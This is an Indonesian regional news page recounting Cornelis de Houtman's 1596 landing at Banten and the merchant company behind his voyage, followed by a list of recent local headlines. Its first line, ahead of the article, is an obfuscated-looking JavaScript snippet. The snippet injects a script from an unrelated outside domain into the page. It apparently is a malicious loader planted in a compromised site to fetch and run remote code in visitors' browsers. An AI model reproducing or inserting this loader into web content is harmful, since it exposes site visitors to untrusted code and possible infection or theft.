(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Sejarah

Cornelis de Houtman: Penjelajah Belanda yang Pertama Kali Menginjakan Kaki di Bumi Nusantara (1)


KANALKALIMANTAN.COM, INDONESIA – Hari ini 27 Juni 1596, 424 tahun silam adalah hari pertama bumi Nusantara dijajah oleh Belanda. Seorang penjelajah asal negeri kincir angin Belanda, Cornelis de Houtman menginjakan kakinya pertama kali di Banten.

Pada hari itulah, orang-orang Belanda telah menemukan Banten yang sejatinya hanya merupakan sebagian kecil dari kepulauan rempah-rempah paling menggiurkan di dunia. Praktik kolonialisme Belanda di Nusantara segera dimulai, dan Cornelis de Houtman adalah pembuka jalannya.

Melalui sebuah buku, George Masselman dalam The Cradle of Colonialism (1963), Cornelis sang penjelajah berangkat ke Lisboa (Portugal) untuk melakukan investigasi kebenaran tentang pulau surga (pulau rempah) yang berada di ujung timur.

Cornelis menghabiskan waktu selama dua tahun di Lisboa-Portugal hingga akhirnya kembali ke negaranya, Belanda.

Setibanya di Amsterdam-Belanda, Cornelis bertemu dengan Jan Huygen van Linschoten, juga seorang penjelajah Belanda yang baru saja pulang dari India. Dalam laporan yang ditulis oleh Linschoten, Cornelis menemukan fakta yang selaras dengan hasil investigasinya di Lisboa-Portugal.

Sebagaimana diungkapkan Peter Fitzsimons (2012) dalam buku berjudul Batavia, Cornelis adalah orang yang sangat berpengaruh di negeri Belanda. Pada 1594 itu, para pedagang di Belanda, termasuk Cornelis, ini lantas bersatu dan membentuk perserikatan niaga. Perkumpulan ini diberi nama Compagnie van verre te Amsterdam atau perusahaan jarak Jauh yang berpusat di Amsterdam (John Bucknill, The Coins of the Dutch East Indies, 2000: 9).

Perserikatan saudagar Belanda ini kemudian mulai menyusun rencana untuk melakukan penjelahan samudera dengan harapan bisa menemukan kepulauan rempah-rempah. Cornelis de Houtman ditunjuk untuk memimpin pelayaran besar dan penuh tantangan yang akan dimulai pada 2 April 1595. (kanalkalimantan.com/andy)

Reporter : andy
Editor : cell

 


Al Ghifari

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

2 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

3 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

15 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

16 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

16 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

20 jam ago

This website uses cookies.